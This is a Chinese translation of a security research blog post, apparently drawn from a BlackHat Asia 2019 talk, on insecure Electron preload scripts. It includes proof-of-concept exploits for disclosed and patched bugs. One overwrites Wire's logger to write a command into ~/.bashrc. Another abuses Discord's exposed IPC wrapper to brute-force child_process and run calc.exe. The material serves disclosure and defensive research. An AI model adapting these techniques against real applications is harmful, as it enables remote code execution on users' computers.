通过不安全的预加载脚本颠覆Electron应用安全

本文详细分析了Electron应用中预加载脚本的安全风险,通过Wire App和Discord的实际案例展示了如何利用不安全的预加载实现任意文件写入和IPC攻击,最终获得远程代码执行能力。

通过不安全的预加载颠覆Electron应用

我们在BlackHat Asia 2019上介绍了一类相对未被探索的漏洞类型,这些漏洞影响着基于Electron的应用程序。

与普遍看法相反,默认安全设置正逐渐成为常态,开发社区也在逐步学习常见的陷阱。隔离现在已经在所有顶级Electron应用中广泛部署,因此将XSS转化为RCE不再像以前那样容易。

BrowserWindow预加载引入了一个新颖而有趣的攻击向量。即使没有框架错误(例如nodeIntegration绕过),这个被忽视的攻击面也可以被滥用以可靠地绕过隔离并访问Node.js原语。

您可以从官方BlackHat Briefings档案下载我们演讲的幻灯片:http://i.blackhat.com/asia-19/Thu-March-28/bh-asia-Carettoni-Preloading-Insecurity-In-Your-Electron.pdf

Electron中的预加载不安全机制

预加载是一种在渲染器脚本加载之前执行代码的机制。应用程序通常使用此机制向页面的window对象导出函数和对象,如官方文档所示:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
let win
app.on('ready', () => {
  win = new BrowserWindow({
    webPreferences: {
      sandbox: true,
      preload: 'preload.js'
    }
  })
  win.loadURL('http://google.com')
})

preload.js可以包含自定义逻辑,通过易于使用的功能或应用程序特定对象来增强渲染器:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
const fs = require('fs')
const { ipcRenderer } = require('electron')

// 使用`fs`模块读取配置文件
const buf = fs.readFileSync('allowed-popup-urls.json')
const allowedUrls = JSON.parse(buf.toString('utf8'))

const defaultWindowOpen = window.open

function customWindowOpen (url, ...args) {
  if (allowedUrls.indexOf(url) === -1) {
    ipcRenderer.sendSync('blocked-popup-notification', location.origin, url)
    return null
  }
  return defaultWindowOpen(url, ...args)
}

window.open = customWindowOpen

[...]

通过为客户执行大量评估,我们注意到对预加载脚本带来的风险普遍缺乏认识。即使在使用所有推荐安全最佳实践的流行应用程序中,我们也能够在几小时内将无聊的XSS转化为RCE。

这促使我们进一步研究该主题并将不安全的预加载分为四类:

(1) 预加载脚本可以将Node全局符号重新引入全局范围

虽然将某些Node全局符号(例如process)重新引入渲染器显然是危险的,但对于Buffer这样的类(可用于nodeIntegration绕过)的风险并不立即明显

(2) 预加载脚本可以引入可能被不受信任代码滥用的功能

预加载脚本可以访问Node.js,应用程序导出到全局窗口的函数通常包含危险的原语

(3) 预加载脚本可以促进沙箱绕过

即使启用了沙箱,预加载脚本仍然可以访问Node.JS本地类和一些Electron模块。预加载代码可以将特权API泄漏给不受信任的代码,从而促进沙箱绕过

(4) 没有contextIsolation,预加载脚本的完整性无法保证

当不使用隔离词时,原型污染攻击可以覆盖预加载脚本代码。在渲染器中运行的恶意JavaScript可以更改预加载函数以返回不同的数据、绕过检查等

在这篇博客文章中,我们将分析在两个流行应用程序中发现的两组属于第(2)类的漏洞:Wire App和Discord。

WireApp桌面版通过不安全预加载实现任意文件写入

Wire App自称是"最安全的协作平台"。它是一个安全的消息应用程序,使用端到端加密进行文件共享、语音和视频通话。该应用程序通过使用nodeIntegration禁用的BrowserWindow来实现隔离,其中使用了webview HTML标签。

尽管实施了隔离,web-view-preload.js预加载文件包含以下代码:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
const webViewLogger = new winston.Logger();
    webViewLogger.add(winston.transports.File, {
      filename: logFilePath,
      handleExceptions: true,
    });

    webViewLogger.info(config.NAME, 'Version', config.VERSION);

    // webapp使用全局winston引用来定义日志级别
    global.winston = webViewLogger;

在隔离渲染器中运行的代码(例如XSS)可以覆盖记录器的传输设置以获得文件写入原语。

可以通过切换到消息视图来轻松验证此问题:

1
window.document.getElementsByTagName("webview")[0].openDevTools();

然后执行以下代码:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
function formatme(args) {
  var logMessage = args.message;
  return logMessage;
}

winston.transports.file = (new winston.transports.file.__proto__.constructor({
        dirname: '/home/ikki/',
        level: 'error',
        filename: '.bashrc',
        json: false,
        formatter: formatme
}))

winston.error('xcalc &');

此问题影响了所有支持的平台(Windows、Mac、Linux)。由于在macOS上启用了沙箱权限,攻击者需要将此问题与另一个错误链接起来才能在应用程序文件夹之外写入。请注意,由于可以覆盖某些应用程序文件,即使没有macOS沙箱绕过,RCE仍然可能实现。

安全补丁于2019年3月14日发布,就在我们披露后几天。

Discord桌面版通过不安全预加载实现任意IPC

Discord是一个流行的语音和文本聊天工具,被超过2.5亿游戏玩家使用。该应用程序通过简单地使用nodeIntegration禁用的BrowserWindow来实现隔离。尽管如此,同一BrowserWindow使用的预加载脚本(app/mainScreenPreload.js)包含多个导出,包括以下内容:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
var DiscordNative = {
    isRenderer: process.type === 'renderer',
    //..
    ipc: require('./discord_native/ipc'),
};

//..

process.once('loaded', function () {
    global.DiscordNative = DiscordNative;
    //..
}

其中app/discord_native/ipc.js包含以下代码:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
var electron = require('electron');
var ipcRenderer = electron.ipcRenderer;

function send(event) {
  for (var _len = arguments.length, args = Array(_len > 1 ? _len - 1 : 0), _key = 1; _key < _len; _key++) {
    args[_key - 1] = arguments[_key];
  }

  ipcRenderer.send.apply(ipcRenderer, [event].concat(args));
}

function on(event, callback) {
  ipcRenderer.on(event, callback);
}

module.exports = {
  send: send,
  on: on
};

简而言之,这个脚本基本上是官方Electron异步IPC机制的包装器,用于从渲染进程(网页)到主进程交换消息。

在Electron中,ipcMain和ipcRenderer模块用于实现主进程和渲染器之间的IPC,但它们也被用于内部原生框架调用。例如,window.close()函数使用以下事件监听器实现:

1
2
3
4
5
6
7
8
// 实现window.close()
ipcMainInternal.on('ELECTRON_BROWSER_WINDOW_CLOSE', function (event) {
  const window = event.sender.getOwnerBrowserWindow()
  if (window) {
    window.close()
  }
  event.returnValue = null
})

由于应用程序级IPC消息和ELECTRON_内部通道之间没有分离,设置任意通道名称的能力允许渲染器中的不受信任代码颠覆框架的安全机制。

例如,以下同步IPC调用可用于执行任意二进制文件:

1
2
3
4
5
6
7
8
9
(function () {
    var ipcRenderer = require('electron').ipcRenderer
    var electron = ipcRenderer.sendSync("ELECTRON_BROWSER_REQUIRE","electron");
    var shell = ipcRenderer.sendSync("ELECTRON_BROWSER_MEMBER_GET", electron.id, "shell");
    return ipcRenderer.sendSync("ELECTRON_BROWSER_MEMBER_CALL", shell.id, "openExternal", [{
                            type: 'value',
                            value: "file:///Applications/Calculator.app"
    }]);
})();

在Discord的预加载情况下,攻击者可以使用任意通道发出异步IPC消息。虽然无法从不受信任窗口中暴露的函数获取对象的引用,但攻击者仍然可以使用以下代码暴力破解child_process的引用:

1
2
3
4
5
6
7
8
DiscordNative.ipc.send("ELECTRON_BROWSER_REQUIRE","child_process");

for(var i=0;i<50;i++){
    DiscordNative.ipc.send("ELECTRON_BROWSER_MEMBER_CALL", i, "exec", [{
            type: 'value',
            value: "calc.exe"
    }]);
}

此问题影响了所有支持的平台(Windows、Mac、Linux)。安全补丁于2019年初发布。此外,Discord还删除了与旧客户端的向后兼容代码。

comments powered by Disqus
使用 Hugo 构建
主题 StackJimmy 设计